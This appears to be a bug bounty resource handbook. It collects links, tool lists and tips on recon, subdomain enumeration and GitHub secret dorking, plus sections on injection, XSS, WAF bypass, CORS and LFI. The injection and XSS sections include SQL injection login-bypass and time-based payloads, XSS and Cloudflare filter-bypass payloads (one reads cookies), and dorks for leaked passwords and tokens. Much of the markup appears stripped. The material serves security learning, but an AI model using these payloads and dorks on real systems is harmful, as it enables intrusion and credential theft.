# Introduction Welcome to Bug Hunter Handbook. This book will contain list of resources that will help bug bounty hunters with resources that are useful during their bug bounty journey. These are resources I have collected for my personal reference and full credit goes respective the Blog/Article/Presentation/Tweet owners and the awesome community. Also Checkout - [Book of Bug Bounty Tips](https://app.gitbook.com/@gowsundar/s/book-of-bugbounty-tips) for additional tricks {% hint style="info" %} *Note: There are lot of additional articles / resources available for attacks and vulnerabilities, can be found using Google. I have collected articles that i found useful during my tests.* {% endhint %} 📌I will try my level best to update the sections with latest resources. Feedback and Suggestions are always welcome. if you like my work please share the book and feel free to contact me [@gowsundar](https://twitter.com/gowsundar). If you like my work please support [here](https://paypal.me/sirpika). # Getting Started in InfoSec and Bug Bounties. This page contains blogs/ articles to help with getting started in Information Security and Bug Bounties. **Blogs / Articles:** * [How do I get started with bug bounty hunting? How do I improve my skills? ](https://bugbountyguide.com/hunters/get-started.html) * [Becoming a Bug-Bounty Hunter](https://www.billdietrich.me/PenetrationTestingAndBugBountyHunting.html#Miscellaneous) * [Resources-for-Beginner-Bug-Bounty-Hunters](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters) * [Resources-for-Application-Security](https://github.com/security-prince/Resources-for-Application-Security) * [Starting BugBounty : From noob to beginner](https://www.jomar.fr/posts/2019/12/en-starting-bugbounty-from-noob-to-beginner/) * [The Five Pillars of an Information/Cyber Security Professional](https://github.com/ED-209-MK7/5pillars/blob/master/5-Pillars.md) * [Getting started in Bug Bounty](https://medium.com/inbughunters/getting-started-in-bug-bounty-7052da28445a) * [Guide 001 | Getting Started in Bug Bounty Hunting](https://whoami.securitybreached.org/2019/06/03/guide-getting-started-in-bug-bounty-hunting/)**.** * * * **Tweets:** {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} **Youtube References:** {% embed url="" %} {% embed url="" %} {% embed url="" %} * # Presentations This Page contains various presentations delivered at various conferences. | **Topic** | **Link** | | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | | BUG BOUNTY FUNSHOP | ​ | | Bug Hunting Methodology | | | It is little things - Nahamsec | | | Recon-1 | | | All in one Recon | | | Automation for Bughunters | | | Passivish Recon | | | Automating Application Security Bug Hunting | | | BugBounty automation | | | Automating Web Application Bug Hunting (Jerry Gamblin • Jonathan Cran) | | | Work Smarter, Not Harder | | | Automating-the-recon-process | | | Scrutiny on the bug bounty | | | Bug Bounties With Bash | | | ekoparty-2017-the-bug-hunters-methodology | | * BugBounty Methodology by Jason Haddix | Version 1 | | | --------------- | -------------------------------------------------------------------------------------------------------------------- | | Version 2.0 | | | Version 2.1 | | | Version 3 | | | Version 4 | | | Version 4 Recon | | | TBHM Video | | **VirSecCon Slides:** ``` https://docs.google.com/presentation/d/1Xfxr_zzwzczu0aKpxgYG8MzcT8zFlAmf7U_2C73NR1M/edit#slide=id.p16 https://tomnomnom.com/talks/bug-bounties-with-bash-virsec.pdf https://docs.google.com/presentation/d/1DAQ47VjIaQZ88Ly00eGPQupq79hAF9AAZstV7OVCY_8/edit https://docs.google.com/presentation/d/1f7yHnskJIl3O9GoZ4u_PHAnISRVaKoDb4V0CMRtNVRI/edit#slide=id.phttps://github.com/erbbysam/virseccon2020_presentation/blob/master/Trials,%20Tribulations%20&%20VHost%20Misconfigurations.pdf https://www.ethicalhacker.net/wp-content/uploads/columns/editor/virseccon2020/Donzal-VirSecCon-2020-IoT-Hacking-Basics.pdf https://docs.google.com/presentation/d/1-Qt4X5MNpDZSnbb1EWtKt7D26Plo--PL_nfMZKphY7w/edit#slide=id.p1 https://docs.google.com/presentation/d/e/2PACX-1vQXFAlzQctBpdeclp-rMCkflh-sNeVezktNqlwOoRMQxdAWNNlRsBUtlVHIIPDqu3hazL_UxDhShhEW/pub?slide=id.g742e3e7cd_1_16 ``` **Nahamcon:** {% embed url="" %} # Checklists / Guides * * * * * Bugbounty cheatsheet - Mohammed Adam - [Link](https://docs.google.com/spreadsheets/d/1TxNrvaIMRS_dmupcwjwJmXtaFk_lPGE1LzgxPu_7KqA/edit#gid=1308919623) * * Bug Bounty Roadmaps - * * * * * * * * * * * * Tools Guide: * ![https://twitter.com/hunter0x7/status/1347423296162304000?s=20](/files/-MWFcraaNQasbljvyNne) ![https://twitter.com/hunter0x7/status/1350021212743872513?s=20](/files/-MWFfHFPYepyrPHCgr7a) ![](/files/-MWFkthMLXN9j08oam8T) * # Useful Twitter Threads * Common ways to RCE - * BugBountytip - * Recon - [https://twitter.com/stokfredrik/status/1109733020540567555](https://twitter.com/stokfredrik/status/1109733020540567555?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1109733020540567555\&ref_url=https%3A%2F%2Ftwitter.com%2Fstokfredrik%2Fstatus%2F1109733020540567555) * Chaining of Bugs - * * * Tips - * - List of descriptions for bugs * Learn Python = * List of conference - * Infosec Books - {% embed url="" %} # List of Vulnerabilities {% hint style="info" %} Check Sub-Section for resources. {% endhint %} # Recon and OSINT Resources related to Recon and OSINT # Recon **Blog / Articles / Presentations / Videos:** * Recon and Discovery - * * Doing Recon Like a Boss - * * Presentation - * Recon Everything - * Recon Notes - * [https://blog.detectify.com/2020/01/07/guest-blog-streaak-my-recon-techniques-from-2019**/**](https://blog.detectify.com/2020/01/07/guest-blog-streaak-my-recon-techniques-from-2019/) * * * [https://medium.com/bugbountywriteup/whats-tools-i-use-for-my-recon-during-bugbounty-](https://medium.com/bugbountywriteup/whats-tools-i-use-for-my-recon-during-bugbounty-ec25f7f12e6d)[ec25f7f12e6d](https://medium.com/bugbountywriteup/whats-tools-i-use-for-my-recon-during-bugbounty-ec25f7f12e6d) * * * * * Ben Presentation - * 100 Ways to Discover - * Asset Enumeration - * Hacking Process - Recon - * * * * * [**https://systemweakness.com/ultimate-manual-bug-bounty-recon-guide-f30c900367c8**](https://systemweakness.com/ultimate-manual-bug-bounty-recon-guide-f30c900367c8) * Google Dorks - * * * Pagodo - * * * Tools - * * * - Google Dorks * [https://blog.ujwalkr.com/Google-Dorks-Recon/](https://ulogx.com/Google-Dorks-Recon/) - Goolgle Dork * * * DORK: inurl:wp-config-backup.txt * * * * * Google Dork - **Tools:** * AutoRecon - * * NerdyData BuitWith hunter.io * Censys Robtex Shodan Whoxy * -- has multiple tools inbuilt * * * * * Automation for Open Threat Exchange - * Simple tool for get domain relationship.. [https://raw.githubusercontent.com/m4ll0k/Bug-Bounty-Toolz/master/getrelationship.py…](https://t.co/MuLnPJH5SQ?amp=1) -[@Jhaddix](https://twitter.com/Jhaddix)[@TomNomNom](https://twitter.com/TomNomNom)[@stokfredrik](https://twitter.com/stokfredrik)[@NahamSec](https://twitter.com/NahamSec)[@Yassineaboukir](https://twitter.com/Yassineaboukir) [#bugbountytips](https://twitter.com/hashtag/bugbountytips?src=hashtag_click) [#BugBounty](https://twitter.com/hashtag/BugBounty?src=hashtag_click) * * * * [deksterecon](https://github.com/0xdekster/deksterecon) * * * * * * **Recon Cheatsheet:** * * * Awesome Asset Discovery - * Asset Discovery - **Twitter Threads:** * Getting info about Domains than subdomains - * If the scope is[ http://example.com ](https://t.co/C9eI6hA592) only - * * * ASN - * ASN -[ oneliner to retrieve ASN numbers of a company. #bugbountytips (ls /tmp/GeoLite2-ASN-CSV.zip||wget --quiet -P /tmp "https://geolite.maxmind.com/download/geoip/database/GeoLite2-ASN-CSV.zip…") 2>&1|grep X; unzip -c /tmp/GeoLite2-ASN-CSV.zip|grep -i airbnb|cut -d ',' -f 2|sort -fu https://pastebin.com/G44mnY2x](https://twitter.com/gwendallecoguic/status/1199372098839437317) * - ASN - whois -h [http://whois.cymru.com](https://t.co/UdRPPDcjcT?amp=1) $(dig +short [http://tesla.com](https://t.co/k4IDtlly9I?amp=1)) * ASN - * ASN - * ASN - * Quickly get the ASN of an IP address, along with the associated company name and location: curl [http://ipinfo.io](https://t.co/dRvPH4L2GA?amp=1)\ This is a great way to confirm ownership of an IP/domain. It also is a great way to services that might be in use (AWS/Azure/Cloudfront/Akamai, etc.)[
](https://twitter.com/hakluke/status/1225264234675597312) * CRT.sh - * Asset Discovery - // * Massscan - Take a list of subdomains, resolve them to an IP, remove duplicates and scan each with masscan. masscan --rate 10000 -p1-65535 $(\ /root/Desktop/att-recon/ok.txt ![](/files/-M8nnO6VR3R8CWQBL_V7) {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} `ASN, CIDR => amass intel => enumeration script 'amass with api keys, findomain with api keys, and subfinder' => massDNS => httprobe => sort live and dead hosts => run a subtakeover script => hakcrawler` Post Recon - ![https://twitter.com/aish\_kendle/status/1259909336274518016](/files/-M7GycA1jUOPQWPc4TcJ) * Asset Discovery tool - * * * * ``` DNS tools: -viewdns.info -dnslytics.com -dnsspy.io -leafdns.com -dnsdumpster.com -intodns.com -www.zonecut.net/dns -xip.io -nip.io -ptrarchive.com -www.whatsmydns.net -ceipam.eu/en/dnslookup.php -spyse.com/tools/dns-lookup -www.buddyns.com/delegation-lab ``` {% embed url="" %} {% embed url="" %} * Recon Roadmap - * [
](https://twitter.com/m4ll0k2/status/1275493397806100480/photo/1) * * * ```
``` # Sensitive information using Github **Articles / Blogs / Presentation :** {% embed url="" %} {% embed url="" %} * **How I made $10K in bug bounties from GitHub secret leaks -** [**https://tillsongalloway.com/finding-sensitive-information-on-github/index.html**](https://tillsongalloway.com/finding-sensitive-information-on-github/index.html) * [**https://github.com/Zomato/vinifera**](https://github.com/Zomato/vinifera) **Tools:** * [**https://medium.com/@obheda12/gitdorker-a-new-tool-for-manual-github-dorking-and-easy-bug-bounty-wins-92a0a0a6b8d5**](https://medium.com/@obheda12/gitdorker-a-new-tool-for-manual-github-dorking-and-easy-bug-bounty-wins-92a0a0a6b8d5) * [**https://github.com/gwen001/github-search**](https://github.com/gwen001/github-search) {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} Twitter Thread - **Videos:** {% embed url="" %} **Tweets:** {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} **Others / Dorks:** {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} Jason Haddix {% endembed %} {% embed url="" %} * * {% embed url="" %} {% embed url="" %} * Got SSH access![Heart exclamation](https://abs-0.twimg.com/emoji/v2/svg/2763.svg)![Heart exclamation](https://abs-0.twimg.com/emoji/v2/svg/2763.svg)![Heart exclamation](https://abs-0.twimg.com/emoji/v2/svg/2763.svg)![Heart exclamation](https://abs-0.twimg.com/emoji/v2/svg/2763.svg) Tip: Github Dork "site . com" ssh language:yaml Got config.yaml {% embed url="" %} ["company name" db\_password "company name" "Authorization: Bearer" "company name" filename:vim\_settings.xml "company name" language:shell "company name" language:python "company name" fb\_secret](https://twitter.com/payloadartist/status/1341811781728133122?s=20) Dorks List: * * * * [tinyurl.com/gitdorks](https://t.co/EkpgxT8foN?amp=1) Dorks: {% embed url="" %} ![](/files/-Mj7ssgWSeQBhPd0x8Q7) * # Subdomain Enumeration **Blog Posts / References / Presentations / Videos:** 1. Subdomain Enumeration Cheatsheet - . 2. Practical recon techniques for bug hunters & pen testers - 3. The Art of Subdomain Enumeration - . 4. Esoteric sub-domain enumeration techniques - 5. Subdomain Enumeration: 2019 Workflow - [https://0xpatrik.com/subdomain-enume ration-2019/](https://0xpatrik.com/subdomain-enumeration-2019/) 6. Awesome Asset Discovery - 7. A More Advanced Recon Automation #1 (Subdomains)[ - https://poc-server.com/blog/2019/01/18/advancedrecon-subdomains/](https://poc-server.com/blog/2019/01/18/advanced-recon-subdomains/) 8. Automating the Recon Process[-https://null.co.in/event\_sessions/2618-automating-the-recon-process](https://null.co.in/event_sessions/2618-automating-the-recon-process) - Video 9. OSINT for Proactive Defense - RootConf 2019 - 10. Empowering red and blue teams with osint c0c0n 2017 - 11. Video - OSINT for Proactive Defense - Shubam Mittal - 12. Gathering domains/subdomains with IPRanges of organization - 13. Compherensive Guide - 14. Converter.sh, a bash script to convert domain lists to resolved IP lists without duplicates - 15. **Tools:** 1. **Top 7 Subdomain Scanner Tools -** 2. Subdomain list for bruteforcing - 3. 4. 5. 6. Domain status checker - 7. Lazyrecon - 8. Second-order - 9. FindDomain - 10. CCrawlDNS - 11. [Subdomainizer - https://github.com/nsonaniya2010/SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) 12. 13. Assest Discovery - 14. Subdomain list for bruteforcing - 15. 16. SubSanner - 17. I got URLS - 18. CC.py - Extracting URLs of a specific target based on the results of "commoncrawl.org" - 19. - Commoncrawl 20. A new generation of tool for discovering subdomains( ip , cdn and so on) - 21. - PROJECT BLACK 22. - Monitoring 23. - dnsgen 24. - all tools combined 25. getallURLS - 26. - [hakrawler](https://github.com/hakluke/hakrawler) 27. Resolver - 28. BASSS - 29. Censys Subdomain Finder - 30. Trademark to discover doamins - 31. Port Scanner - 32. 33. Tools Evaluation - 34. Subdomains Enumeration Cheat Sheet. - 35. Fetch known urls from AlienVault's Open Threat Exchange for given hosts - 36. Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl. - 37. Port Scanner - 38. CTFR - Abusing Certificate Transparency logs for getting HTTPS websites subdomains. - 39. 40. - Masscan + nmap 41. -- latest 42. suip.biz - no need to install tools 43. - hourly update of sub domains. 44. 45. subscraper 46. Venkon.us - 47. Domainbigdata 48. 49. 50. 51. 52. Resolver - 53. 54. 55. 56. 57. 58. 59. Bruteforce - 60. 61. {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} **Twitter Thread / Bugbounty Tips:** * - vHost * * Sub-Domain Enumeration Oneliner's: * [*https://twitter.com/CreedHackers/status/1067449832946745344*](https://twitter.com/CreedHackers/status/1067449832946745344) * [*https://twitter.com/janescott\_/status/1065995260554170369*](https://twitter.com/janescott_/status/1065995260554170369) * [*https://gist.github.com/yassineaboukir/f70a45dfc4fcac4a0aa0840b9eba4386*](https://gist.github.com/yassineaboukir/f70a45dfc4fcac4a0aa0840b9eba4386) * [*https://twitter.com/plenumlab/status/1068442310147547136*](https://twitter.com/plenumlab/status/1068442310147547136) * *Certsspotter -* [*https://certspotter.com/api/v0/certs?domain=hackerone.com*](https://certspotter.com/api/v0/certs?domain=hackerone.com) * CertSpotter Bash One Liner - [curl https://certspotter.com/api/v0/certs\\?domain\\=example.com | jq '.\[\].dns\_names\[\]' | sed 's/\\"//g' | sed 's/\*.//g' | uniq](https://intercept9.gitlab.io/osint,recon/2017/09/08/ttp-for-subdomain-enuemration.html) * *Oneliner Certspotter x Massdns subdomain enum -* [*https://twitter.com/plenumlab/status/1068442310147547136*](https://twitter.com/plenumlab/status/1068442310147547136) * *Threatcrowd -* [*https://threatcrowd.org/searchApi/v2/domain/report/?domain=hackerone.com*](https://threatcrowd.org/searchApi/v2/domain/report/?domain=hackerone.com) * Get List of Active Domains - * Need to pull subdomains from Rapid 7's Project Sonar - * OneLiner to get commoncrawl assets - * Tips from Ben - * Quick Tip from Shubam Mittal - * * [TimeForA #BugBountyTip I use http://Zone-H.org to find defaced (sub) domains of the website I am testing. This reveals subdomains, potentially defaced /dir/ (if not index). I pursue testing using the data I got. #bugbounty #bugbountytips #pentest #infosec Get CREATIVE RT![👁️](https://abs-0.twimg.com/emoji/v2/svg/1f441.svg) ](https://twitter.com/HusseiN98D/status/1194645713851957248) * Thread from Somdev - * [From your experience: what is the fastest and most accurate subdomain brute forcer? #bugbounty #bugbountytips #infosec #bugbounty #pentest - ](https://twitter.com/HusseiN98D/status/1193623919623884803) * * * {% embed url="" %} {% embed url="" %} {% embed url="" %} Subdomain Bruteforce - [#ffuf](https://twitter.com/hashtag/ffuf?src=hashtag_click)[@ngkogkos](https://twitter.com/ngkogkos)[@joohoi](https://twitter.com/joohoi)[@Jhaddix](https://twitter.com/Jhaddix) Subdomain bruteforce with ffuf on 443 port. It works fine ffuf -u [https://FUZZ.rootdomain.com](https://t.co/lgJRG9rq6y?amp=1) -w jhaddixall.txt -v | grep "| URL | " | awk '{print $4}'34578 * [Get your targets IP ranges using your targets domain (asn+cidr extract): a=$(curl -H'Accept: application/json' http://api.iptoasn.com/v1/as/ip/$(dig +short $domain | head -1)| jq .as\_number);echo '!gas'$a''| nc http://whois.radb.net 43 | tr " " "\n" | sed -e '1d' -e '$d'](https://twitter.com/absshax/status/1176193027154382848?s=20) Horizontal domain correlation [https://viewdns.info/reversewhois/](https://t.co/lZaXVJ43ul?amp=1) - Free [https://domaineye.com/reverse-whois](https://t.co/JwWvl2RKHB?amp=1) - Free [https://reversewhois.io](https://t.co/jS4EIQ9fol?amp=1) - Free [https://whoxy.com](https://t.co/MYlMokDfMg?amp=1) - Free web, not free API. [http://reversewhois.domaintools.com](https://t.co/wSM7XaWIrb?amp=1) - Not free [https://drs.whoisxmlapi.com/reverse-whois-search…](https://t.co/ZtsHI270rf?amp=1) - Not Free [https://domainiq.com](https://t.co/j3aulYZsAe?amp=1) - Not Free [
](https://twitter.com/GochaOqradze/status/1224345381519024128)Vhost writeup - # Resolvers {% embed url="" %} * {% embed url="" %} # Javascript Enumeration **Blogs / Writeups / Videos:** {% embed url="" %} **Tools:** A tool to get javascript files from a list of URLS or subdomains - * * * * * **Tweets:** {% embed url="" %} {% embed url="" %} {% embed url="" %} A one-liner to extract all API endpoints from a [#JavaScript](https://twitter.com/hashtag/JavaScript?src=hashtag_click) file. Especially useful for [#BugBounty](https://twitter.com/hashtag/BugBounty?src=hashtag_click) hunting. - \-- {% embed url="" %} * * * * * * * * * # After Recon * Hey all as i said yesterday , I just published my first blog "BeginnersQuest(part-1)-What to do after recon?".Please do suggest me the changes you want to see in the next parts, Enjoy !! [https://link.medium.com/2QZP0LRtB5](https://t.co/47dJkDlg6c?amp=1) [#bugbounty](https://twitter.com/hashtag/bugbounty?src=hashtag_click) [#bugbountytips](https://twitter.com/hashtag/bugbountytips?src=hashtag_click) [#infosec](https://twitter.com/hashtag/infosec?src=hashtag_click) [#bughunting](https://twitter.com/hashtag/bughunting?src=hashtag_click) [#blog](https://twitter.com/hashtag/blog?src=hashtag_click) * {% embed url="" %} {% embed url="" %} # Finding Information Using Public Resources Shodan Censys ZoomEye Fofa Search Engine for Hackers - {% embed url="" %} Nerdydata - {% embed url="" %} Scope is Big - {% embed url="" %} Collection of Shodan Scripts - {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} # OSINT Search Engine For Hackers - OSINT - \--- {% embed url="" %} {% embed url="" %} Shodan - Search Queries - {% embed url="" %} * * * shodan - hostname:company.com * Shodan dorks * * * * {% embed url="" %} ![https://twitter.com/Dheerajmadhukar/status/1433369419372134400](/files/-Mj82YxSv7bwzANXpBmN) Censys - * Tools - **Favicon search** * Google Analytics bugbounty \[[#OSINT](https://twitter.com/hashtag/OSINT?src=hashtag_click)] Find domains by registrant name or email [https://viewdns.info/reversewhois/](https://t.co/HfWPFdVy7P?amp=1) {% embed url="" %} * Reverse Whois - [Try ssl:target.\* 200 Try http://Ssl.cert.subject.CN:"target.\*" 200](https://twitter.com/GodfatherOrwa/status/1363803767016198146?s=20) Google search - {% embed url="" %} {% embed url="" %} * # Cloud ![](/files/-MTePrNhv6VBrRZoDW-k) # Wayback * * * Tools - # Parameter / Content Discovery * gospider * paramspider * hakcrawler * arjun * httpx * Tweets: {% embed url="" %} {% embed url="" %} [gau + anti-burl + secretfinder = informations disclosure@TomNomNom@Yassineaboukir@stokfred](https://twitter.com/m4ll0k/status/1275047986180100096?s=20)rik[
](https://twitter.com/m4ll0k/status/1275047986180100096/photo/1) ![](/files/-MTAGMrXlBD_KI0LLlya) [I just released Parth It finds commonly vulnerable parameter names to prioritize their testing. See screenshot below. You can import your@Burp\_Suite history, discover URLs using CommonCrawl, OTX and Waybackmachine or a simple txt file. Github: ](https://twitter.com/s0md3v/status/1296132598574362624?s=20)[https://github.com/s0md3v/Parth](https://t.co/eoDI0ut6nj?amp=1) ![](/files/-MTAGck_Ey_m0Px488Vy) ![](/files/-MTBktDck1f25pnk10un) ![https://twitter.com/Haoneses/status/1291387580299321358?s=20](/files/-MTFq10IJE4nlpm0sISp) {% embed url="" %} ![](/files/-MTG0_Kx45LhGsHk8Nb2) Tools: * {% embed url="" %} {% embed url="" %} {% embed url="" %} # Broken Link Highjacking * ![https://twitter.com/micha3lb3n/status/1289939398797037568?s=20](/files/-MTAG09hneQ4uZFLDb4J) # Host Header Common Headers for Host Header Injection Attack:- 1. Host: 2. X-Host: 3. X-Forwarded-For: 4. X-Forwarder- Host: 5. X-Forwarder- Server: 6. Forwarded: 7. X-HTTP-Host- Override: 8. X-Forwarded-Proto headers: 9. Typical Host Header Injection Bypass: POST /endpoint/ HTTP 1.1 Host: [http://evil.com](https://t.co/Hg2GwZOUIf?amp=1) Response: 403, 404 Bypass: POST / HTTP 1.1 Host: [http://evil.com](https://t.co/Hg2GwZOUIf?amp=1) Response: 200, 302 Give it a try!! # Injection References for Injection Attacks **Blogs / Articles:** * * -Blind Command Injection - SSRF * * * Practical JSONP Injection - [Practical JSONP Injection](https://securitycafe.ro/2017/01/18/practical-jsonp-injection/) * XSLT Server Side Injection Attacks [https://contextis.com/blog/xslt-server-side-injection-attacks](https://t.co/ZqvTP3qZTZ?amp=1) * Log Injection - * Remote Code Execution with EL injection - [https://betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://t.co/eUvA6wDgFA?amp=1) * Argument Injection - * Argument Injection - * Argument Injection - * Video - * **AST Injection, Prototype Pollution to RCE -** [**https://blog.p6.is/AST-Injection/#How-to-Detect**](https://blog.p6.is/AST-Injection/#How-to-Detect) * **SSTI -** [**https://blog.isec.pl/beyond-ssti/**](https://blog.isec.pl/beyond-ssti/) * [**https://bad-jubies.github.io/Blind-SQLi-1/**](https://bad-jubies.github.io/Blind-SQLi-1/) * **Command Injection -**[**https://www.quora.com/What-is-command-injection-and-how-does-it-work/answer/Jobert-Abma?share=8502ef38\&srid=kl8Z**](https://www.quora.com/What-is-command-injection-and-how-does-it-work/answer/Jobert-Abma?share=8502ef38\&srid=kl8Z) * [**https://medium.com/@dimazarno/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17**](https://medium.com/@dimazarno/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17) * **CSS Injection -** [**https://medium.com/@tehmezovismayil/steal-input-datas-with-css-file-injection-bugbounty-449ba41a5092**](https://medium.com/@tehmezovismayil/steal-input-datas-with-css-file-injection-bugbounty-449ba41a5092) * [**https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1**](https://ansar0047.medium.com/blind-sql-injection-detection-and-exploitation-cheatsheet-17995a98fed1) * [**https://medium.com/sud0root/bug-bounty-writeups-exploiting-sql-injection-vulnerability-20b019553716**](https://medium.com/sud0root/bug-bounty-writeups-exploiting-sql-injection-vulnerability-20b019553716) * [**https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b**](https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b) * **SQL Injection -** [**https://twitter.com/rodoassis/status/1438186092486877190?s=20**](https://twitter.com/rodoassis/status/1438186092486877190?s=20) * [**https://outpost24.com/blog/X-forwarded-for-SQL-injection**](https://outpost24.com/blog/X-forwarded-for-SQL-injection) * [How I Escalated a Time-Based SQL Injection to RCE](https://jmrcsnchz.medium.com/how-i-escalated-a-time-based-sql-injection-to-rce-bbf0d68cb398) * #### **Payloads / Cheatsheets:** * * **Twitter Threads / Tips:** * [**https://github.com/xer0days/SQLi-Query-Tampering**](https://github.com/xer0days/SQLi-Query-Tampering) **-** [**https://twitter.com/Xer0Days/status/1292488714241941504?s=20**](https://twitter.com/Xer0Days/status/1292488714241941504?s=20) * [1. Time Based SQL Injection : Used payload: '+(select\*from(select(sleep(20)))a)+' in phone number parameter value for sign-in endpoint. Don't miss sign-in parameters \[Like username, email, otp\] for SQLi check. #bugbountytips 2. Reflected XSS + CSRF to Account Takeover : )](https://twitter.com/sunilyedla2/status/1333029227994628096?s=20) * [Time based SQLi -> forgot password Endpoin](https://twitter.com/sunilyedla2/status/1339271046822678528?s=20)[1. Payload used: '%2b(select\*from(select(sleep(20)))a)%2b' 2. Endpoint: /Forgot password Cheers Do share your story in comments if you got SQLi at weird endpoint](https://twitter.com/sunilyedla2/status/1339271046822678528?s=20) * SPEL Injection - * EL Injection {% embed url="" %}
**Tools:** **Other References:** ``` ' or ''-' " or ""-" " or true-- ' or true-- admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* ``` [Bug Bounty Tips This is how to find sql-Injection 100% of the time /?q=1 /?q=1' /?q=1" /?q=\[1\] /?q\[\]=1 /?q=1\` /?q=1\ /?q=1/\*'\*/ /?q=1/\*!1111'\*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' #bugbounty #BugBountyTips #SqlInjection](https://twitter.com/community_bug/status/1345942914296205316?s=20) # Other Injection Host Header Inj - # DNS Rebinding {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} tool - ![](/files/-LzG3-_KeWMwxOG030Un) {% embed url="" %} {% embed url="" %} * Learn DNS here - * * DNS takeover - * DNS Tunneling - * # Cross Site Scripting (XSS) References for Cross Site Scripting Attacks **Blogs / Articles:** * * Blind XSS - * * * * * * * * * * Upgrading Self XSS: ![https://twitter.com/hackerscrolls/status/1299711808312356865](/files/-MIQA2IDHQc74i7k7YYA) **Tools / Cheatsheets:** * * BXSS tools - * * * * * * if you google ".xss.ht" you can find where others are testing and maybe reveal some priv programs. :P **Twitter Threads:** * * * - PDF * * * * Blind XSS tip - * * **Payloads:** ``` " <, \, 'alert', parentheses, quotes and spaces #security #XSS #KNOXSS onffocusofocuscfocusufocuss="prompt(1)" - useful when waf replaces things like 'focus' to null, leaving us with onfocus="prompt(1)" - https://twitter.com/zseano/status/837160885181243392 ?x= One that should bypass some XSS filters, by @dsopas http://brutelogic.com.br/webgun/test.php?p=%3CSVG%20ONLOAD=%26%2397%26%23108%26%23101%26%23114%26%23116%281%29%3E XSS bypass for a weak filter - riyaz walikar var of "Function ('ale'+'rt(0)')()" //Firefox :) .- https://twitter.com/kinugawamasato/status/898950198826721280 #XSS Tip Smiling face with sunglasses I guess this one could solve all your HTMLi problems (regular, inline & JS block) '""); - https://twitter.com/fransrosen/status/912795907313356800 SomeTime It's Work! #XSS #Payload /> "> ">
Hello :) ^ [My favorite one - works like 80% of the time for me]. That's all for now that I'll share. Enjoy the payloads too. ;) x@x.com<--` --!> or <--` --!> https://twitter.com/DaherMohamed4/status/1277009961688719360 To test XSS + SQLi + SSTI/CSTI with the same payload use : '">{{7*7}} ' ==> for Sql injection "> ==> for XSS {{7*7}} ==> for SSTI/CSTI

CSP Bypass, script-src 'self' data: When you find input field which allows " (quotes), try this payload: "autofocus onfocus=alert(1)// -> Doesn't work "type%3d"text"autofocus%20onfocus%3d"alert(1)" -> Works Finally found my first bug on @synack ..I am just loving it. Bug: XSS through file upload. Payload: */alert(1)\x3csVg/\x3e

aa

\x3csVg/\x3e Test \">< ">< https://github.com/TheKingOfDuck/easyXssPayload/blob/master/burpXssPayload.txt HTML INJECTION + XSS INJECTION Heavy check mark //

_Y000!_ //_Y000!_ //_Y000!_ Url/?color= Payloas ">" Url/?language= Payload %22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E Url/?redirect_url= Payload javascript:alert() Without ">" (XSS) PAYLOAD PAYLOAD Bug : RXss Payload : "'`><\x00img src=xxx:x onerror=javascript:alert(1)> Final payload: The final payload : Paylaod - \">'>\"> Cross mark "'>

1 White heavy check mark "'>

1 Mi payload final fué: ">
Some payloads that worked for me in popping up a stored XSS:- 1. 2.
style="x:"> 3. \";alert('XSS');// 4. "autofocus/onfocus=alert(1)// 5. '-alert(1)-' https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XSS/XSS-OFJAAAH.txt “>< ``` {% embed url="" %} {% embed url="" %} ![](/files/-MMz2U0dY_te99rWOV-T) * Did you know \ is a thing?![Face screaming in fear](https://abs-0.twimg.com/emoji/v2/svg/1f631.svg) ![](/files/-MT4MVQRhYZXsf-CrdCx) ![](/files/-MTeRj58dzjbMWexhrnT) Y[ou can serve a XSS payload from a XML file: xss.xml: \ \ \prompt(document.domain);\ \](https://twitter.com/renniepak/status/1339523240235069440)
{% embed url="" %} DOM XSS - * XSS Tips - * {% embed url="" %} {% embed url="" %} {% embed url="" %} # Weaponizing XSS * * * * * * * * * * * * * * # WAF Bypass Cloudflare XSS WAF Bypass: ``` Cloudflare XSS WAF Bypass New CloudFlare XSS Bypass! XSS payload to keep on your notes: -> nginx block "> -> Wordfence block ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -> successful execution "Onx=() AutOfOcUs OnfOCuS=prompt(document.cookie)> Bypass Cloudflare payload #bugbountytips #infosec #bugbounty Bypass Cloudflare XSS payload "> {% embed url="" %} {% embed url="" %} {% embed url="" %} * # Cross Origin Resource Sharing (CORS) References for CORS **Blogs / Articles:** * * * * * * * * [https://medium.com/@armaanpathan/stealing-user-details-by-exploiting-cors-c5ee86ebe7fb](https://t.co/XGhViaGuKj?amp=1) * **Tools:** * * ![](/files/-MWFhy-0HUgcWvHHgJF6) * * # Local / Remote File Inclusion (LFI / RFI) References for LFI / RFI **Blogs / Articles:** * [LFI to RCE via access\_log injection](https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0)\ 